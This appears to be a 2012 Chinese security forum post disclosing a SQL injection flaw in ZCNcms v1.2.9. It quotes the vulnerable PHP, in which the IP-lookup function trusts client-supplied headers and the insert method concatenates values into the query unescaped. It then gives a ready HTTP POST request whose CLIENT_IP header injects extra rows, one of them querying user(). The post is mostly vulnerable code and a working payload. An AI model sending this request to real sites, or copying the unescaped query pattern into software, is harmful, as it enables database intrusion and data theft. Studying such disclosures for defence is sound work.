ZCNcms v1.2.9 sql注入 (有些鸡肋)

2012-11-12 22:35:54 11 4038
TEAM : codeplay TAEAM
出差结束了,辞职了,没事做了,就看见了一张图片


人家是seay大牛 ,俺就是打酱油的,就看看这个站了 ,

开始吧,还是那个问题 getip(),大家一看就懂的 。
books.php  从105行开始
        case 'add'://
                if(isset($submit)){
                        $info = array();
                        $time = time();
                        if(!isset($classid)){
                                $classid = 1;
                        }
                        $classid = intval($classid);
                        if($classid < 1){
                                $classid = 1;
                        }
                        $v->Validate($niname,'姓名','safein','1','',3,15);
                        $v->Validate($title,'标题','safein','1','',0,50);
                        $v->Validate($addr,'地址','safein','1','',0,50);
                        $v->Validate($tel,'电话','safein','1','',0,50);
                        $v->Validate($mobile,'手机','safein','1','',0,50);
                        $v->Validate($msn,'msn','safein','1','',0,50);
                        $v->Validate($email,'email','safein','1','',1,100);
                        $v->Validate($qq,'qq','safein','1','',0,50);
                        //if($content == ''){
                        //        errorinfo('请输入留言内容','');
                        //}
                        $v->Validate($content,'留言','safein','1','',3,300);
                        $info=array('title'=>$title,
                                                'email'=>$email,
                                                'tel'=>$tel,
                                                'mobile'=>$mobile,
                                                'addr'=>$addr,
                                                'qq'=>$qq,
                                                'msn'=>$msn,
                                                'content'=>$content,
                                                'classid'=>$classid,
                                                'memberid'=>'0',
                                                'niname'=>$niname,
                                                'addtime'=>$time,
                                                'ipaddr'=>GetIP(), //这个地方  到->function.inc.php
                                                'isok'=>'0',
                                                'isplay'=>'0'
                                                );
                        if(isset($id)){
                                //只有添加
                        } else {
                        ECHO $info;
                                if($books->Add($info)){ //开始了进入 model.class.php
                                        errorinfo('信息反馈成功','?c=books&a=add');
                                }else{
                                        errorinfo('信息反馈失败','');
                                }
model.class.php
function Add($info){
                $keylist = '';
                $valuelist = '';
                foreach($info as $key=>$value){
                        $keylist.=$key.','; //没过滤,其实是过滤不完整
                        $valuelist.="'$value',";
                }
                if(substr($keylist,strlen($keylist)-1,strlen($keylist))==','){ //可以绕过 ,
                        $keylist=substr($keylist,0,strlen($keylist)-1);
                        $valuelist=substr($valuelist,0,strlen($valuelist)-1);
                }
                $sql="insert into ".$this->table."($keylist) values($valuelist)"; //开始了
                //echo $sql;
                //EXIT;
                //EXIT;
                global $db;
                $db->ExecuteNoneQuery($sql);
                return $db->GetInsertId();
        }
function.inc.php
//获取ip
function GetIP(){
        if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
        else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
        else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
        else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
        else
        $ip = "unknown";
        return($ip);
}
一看大家都懂。
代理开始搞一下。
POST /zcncms-v1.2.9/zcncms/?c=books&a=add&classid=1 HTTP/1.1
Host: 192.168.1.111
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: [url]http://192.168.1.111/zcncms-v1.2.9/zcncms/?c=books&a=add&classid=1[/url]
Cookie: PHPSESSID=0p44oqk3jj4l3tbmj66fgo3cl1; AJSTAT_ok_pages=32; AJSTAT_ok_times=1
Content-Type: application/x-www-form-urlencoded
CLIENT_IP: 127.0.0.1','0','0'),('xxxxx','[email protected]','1904521507','1904521507','1904521507','1','1',(user()),'1','0','1','111','127.0.0.1','0','0'),('xxxxx','[email protected]','1904521507','1904521507','1904521507','1','1','1','1','0','1','111','127.0.0.1
Content-Length: 203

title=title&niname=username&addr=2&mobile=2&tel=010-87654321&email=1904521507%40qq.com&qq=&msn=&content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&submit=%E6%8F%90%E4%BA%A4&classid=1&submit=%E6%8F%90%E4%BA%A4



然后 数据库就。。



就是 随便看看,希望大家别喷我。

关于作者

xiaoxiaoabc68篇文章777篇回复

评论11次

要评论?请先  登录  或  注册